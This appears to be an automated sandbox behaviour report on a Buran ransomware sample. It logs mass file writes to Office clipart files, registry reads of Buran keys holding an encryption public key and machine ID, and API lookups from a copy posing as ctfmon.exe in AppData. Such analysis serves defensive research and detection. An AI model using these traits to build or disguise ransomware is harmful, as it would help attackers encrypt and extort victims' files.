Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01875_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01923_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01923_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01923_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01923_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02155_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02166_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02282_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02298_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02312_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02313_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00005_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00114_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00116_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00172_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00426_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00426_.WMF size = 1024 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00426_.WMF size = 4 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00426_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00426_.WMF size = 1268 True 1
Fn
Data
For performance reasons, the remaining 3004 entries are omitted.
The remaining entries can be found in glog.xml.
Registry (7694)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Borland\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Borland\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Delphi\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran\Service - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 5
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 4
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 4
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 7
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 426
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 5
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 643
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 45
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 397
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 252
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 21
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 18
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 15
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 870
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 417
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 690
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Public Key, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Public Key, data = OcUWCfOnhEZLoY3dECt0hlkP7x4eExesdEjaEYcafYlPi1Ne5zwychYh02+gZx7wblP3vQrcnfmeleeTW8m9OHlPntniTjfF6vrNEEAlw1uTSGGPf5WjtPBtjmmHCXbsbSICoObkAqIWTp2C9D2QB4O5v3viFHBIcF/cPu6AH1d0hMaH2XeYzTtU3SklQR5UtcWo/Nqxxq0hCPFjxsnuo6xpNIutuWLReYOF4l/JeAuKgS7RHuyHG/yM2bFNquhJLT1Sr7aY94IdI31f9GejzFdaMKTXqdDtbSkkdAD5MTBiDSCdvMnfVskCeWmvWi3tzcqK6XIU7D5Yxelv23nuBA7btfrEAKlire20KQYsDmgQsCd6+w0wDgvVPacFxGWwngB64SeDarWjqoXvXH+G9Xg=, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Machine ID, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Machine ID, data = eMCDu1m41v0G3KSVP3jKp7/QZq5UzJteLPWmks5a/X24LokpbGOf1PZNu7RgrhS1f3vxapegWSAxy+n+v0WTIZWOmFHCAnE2wjpK/bCQpWyFUu1d/PueR0Tp2kg4cVHhlL3QNPXXkJ7D55ubwsGbbx2HPpBLIesT5QvLcqsrZdr71KwUGFlfdIcWtEYCnmiK6V2XG/A2V+FMtFvsOI55wLtKBUyzOaC/sSydOJ1II2zUgu1ETk1uqe17Z/OB9emEnkA+mP7OEO8i/sGq3KB97ttK1jlfZQPw8T5BFZqkRjUKXTWH7brwkJlHklgZ1iNod5oV4MhRIZHrO8ED2fWCKxeK1KI1AB5FAdPoX081xfsM06ZmRtrLiLiOoz18YbaussDucDpvxpb1g65QC7FPU8uq+OJdn6S/IXaLNG6FoYJOcJb1XXLAmzi8SsURlI4fTbEGQB81LLLm0cUttUIKP1jcmdA9XbK7I6SCK4ayKlRUm3gL8wZxphiMxj753ivPELfySPzi6o1uyN80sqKaZc8nviUZ2i1APsDHCG5/H2iV7u7A8uvGSiA1QgArhivVQD39KFPIDWn6Wol96VA2yV2T+C+7a4mevJNg1VFCFvLZapktAMOuvobEYGaWI7Wslxt3sNtFSp2+RQWirMqT86V3AbWdbvK8JjCqfec35djLANWPc6wz3gvoUvysjwCXtspf+naaZP962TOOnywPLW+OnEGdQdrzFuiu1rIMJExDT/kwSKHdP0EeDMi+MQk+UnTvqw4vJdeb995pWe4QMqrKfHJ4DaXEdEY5jvYIIGM+LRAbSI3Cms1IjLD8P5cHuIva/T4bHdooDMwoJ6wkIYbBmLaCsmiaDl/ZpP06f8xQFIwdhE1qzZoVqxEj5m+SrYdrbLaqY0kA38TRA7FwUwooLBy2oRv1/pSkALF/GZIm4mTgooy2JTYL5PHyzHQ1SXiHEFkLwAvjnZjHYbcLYBjdSUrljh+tcG47U30ODI8wIi2iB8DBb4f2lqkjLE1qn5dItYZNikF/3uWKfWNMl7VXzHePMFO7pHcr1Kmmj313lWbtJfSpMtsr5mJmRDmK3Rkl3cDE688ls5zbmvbXy7wyM9RyWDZQ/Gnsw7GEaS91S/ykxazifV4JYdlVBMidn9Vw92VEr+X8dPxr/6hZe2zeCeNCFSu0zlrjPG+JfxNI6nuwrqh4DVnF/0erhKlin4ErA/urs3Sn5tPWhPIpZfV4wgxsbI2ILMXtJ6ObGbbF8OpY+zFgE+/l+BKsZmh23BsMuUF8zjKeZ7YieYwXMFFY9K5BSgXr5OD+7ZNw3C1NRpTS4XoUi8Rw8SA07ZTvqMrtDFgZWGcox6hCuA6PzN27jBy8qjfrtGO8JUVPVIh4zfkXZRpVX6snyGjRFvnsNxKwWjzTD5As2wyaBSURHTdsfeOdCi2YMJBfoRiCxt2++z6RpJx+SNLuqRyWD7qIGGwBefLgXKPFETbeLtWB5cJg/E6Lmbn0ibN51ybeUElaOCIGmWZkoNnPGMOYtFwcoX7SZPqo95u8vOber8N17YAugalh+4BWnbJmdjtcoOM6dYuAnFjbBeSXiUSHmZY9jAr0g0PpvkNN4pb5EZj0GdugdIQnS7bmLjHYODeSspmmVrULFYeMhqzg+P/k7OUXSmeK2oRKnhVhaZdrhelCWUoKPecJZ6rkjopNq2QeD0yAulX2fHapdY6mgHTjBekAAHPiBw==, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, data = 666, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 5
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 4
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 4
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 7
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 426
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 5
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 643
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 45
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 397
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 252
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 21
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 18
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 15
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 870
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 417
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 690
Fn
Module (253)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76230000 True 6
Fn
Load oleaut32.dll base_address = 0x75b20000 True 2
Fn
Load advapi32.dll base_address = 0x75e20000 True 2
Fn
Load user32.dll base_address = 0x75f60000 True 2
Fn
Load mpr.dll base_address = 0x75710000 True 1
Fn
Load shell32.dll base_address = 0x767c0000 True 3
Fn
Load wininet.dll base_address = 0x764a0000 True 1
Fn
Load msvcr100.dll base_address = 0x75650000 True 1
Fn
Load C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.ENU base_address = 0x0 False 1
Fn
Load C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.EN base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76230000 True 2
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe base_address = 0x1610000 True 1
Fn
Get Handle c:\windows\syswow64\oleaut32.dll base_address = 0x75b20000 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 260 True 1
Fn
Get Filename c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 1
Fn
Get Filename C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.EN process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76244f2b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x7624359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76241252 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76244208 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76244d28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x762c410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x762c4195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x7624d31f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x7625ee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x77c5441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x77c7c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x77c7c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x7625f088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x77c605d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x77c7ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77c30b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x77cefde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x77c81e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x762c4761 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x762bcd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x762c424f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x762c46b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x762d6676 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x762c4751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x762d65f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x762c47c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x762c47e1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x762c47f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x7625eee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalAlloc, address_out = 0x7624588e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x762411c0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x762410ff True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x7626735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32First, address_out = 0x762c5cd9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76241410 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x762449d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76241856 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x7624435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x7624186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76243519 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x7625d802 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76247a10 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76241b00 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysFreeString, address_out = 0x75b23e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysReAllocStringLen, address_out = 0x75b27810 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysAllocStringLen, address_out = 0x75b245d2 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExA, address_out = 0x75e348ef True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExA, address_out = 0x75e34907 True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x75e3469d True 2
Fn
Get Address c:\windows\syswow64\user32.dll function = GetKeyboardType, address_out = 0x75fb9ac4 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x75f79a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadStringA, address_out = 0x75f7db21 True 2
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxA, address_out = 0x75fcfd1e True 2
Fn
Get Address c:\windows\syswow64\user32.dll function = CharNextA, address_out = 0x75f77a1b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x7624179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x7624110c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76241725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76241450 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InterlockedDecrement, address_out = 0x762413f0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InterlockedIncrement, address_out = 0x76241400 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualQuery, address_out = 0x7624445a True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x7624170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x7624192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76245a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpynA, address_out = 0x7625192a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExA, address_out = 0x76244913 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetThreadLocale, address_out = 0x762435cf True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoA, address_out = 0x76240e00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76241222 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleA, address_out = 0x76241245 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x762414b1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoA, address_out = 0x7625d5e5 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x762451a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x762434c8 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileA, address_out = 0x7624e2ce True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76244442 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitThread, address_out = 0x77c6d598 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x762434d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76241282 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x7626772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x7626d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x762458a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x762451b3 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x762414fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x762411e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x7624168c True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x75f77809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PeekMessageA, address_out = 0x75f85f74 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MsgWaitForMultipleObjects, address_out = 0x75f80b4a True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetSystemMetrics, address_out = 0x75f77d2f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageA, address_out = 0x75f77bbb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharNextW, address_out = 0x75f78151 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharLowerBuffW, address_out = 0x75f7760b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharLowerBuffA, address_out = 0x75f84f38 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharToOemA, address_out = 0x75f84fee True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetOpenEnumA, address_out = 0x7571b1e2 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetEnumResourceA, address_out = 0x7571a674 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetCloseEnum, address_out = 0x75712dd6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76241136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x762417d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileAttributesW, address_out = 0x7625d4f7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEvent, address_out = 0x762416c5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEndOfFile, address_out = 0x7625ce2e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ResumeThread, address_out = 0x762443ef True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ResetEvent, address_out = 0x762416dd True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76243ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MoveFileW, address_out = 0x76259af0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77c32270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSection, address_out = 0x77c42c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalUnlock, address_out = 0x7625cfdf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalReAlloc, address_out = 0x7625e4be True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalHandle, address_out = 0x7626d27c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalLock, address_out = 0x7625d0a7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalFree, address_out = 0x76245558 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLangID, address_out = 0x7625d5fd True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76244950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocalTime, address_out = 0x76245aa6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFullPathNameA, address_out = 0x7624e2c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetExitCodeThread, address_out = 0x7625d5b5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableW, address_out = 0x76241b48 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x762433a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x7625ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceA, address_out = 0x762c433f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatA, address_out = 0x7626a959 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76241809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76245223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76245189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InterlockedExchange, address_out = 0x76241462 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FormatMessageA, address_out = 0x76265fbd True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x762454ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76244435 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FileTimeToLocalFileTime, address_out = 0x7624e29e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FileTimeToDosDateTime, address_out = 0x7625c86d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumCalendarInfoA, address_out = 0x76269e70 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x77c322b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x762489b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x77c445f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x7624103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76243f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x762453c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventA, address_out = 0x7624328c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringA, address_out = 0x76243c5a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExA, address_out = 0x75e314b3 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCreateKeyExA, address_out = 0x75e31469 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenProcessToken, address_out = 0x75e34304 True 1
Fn
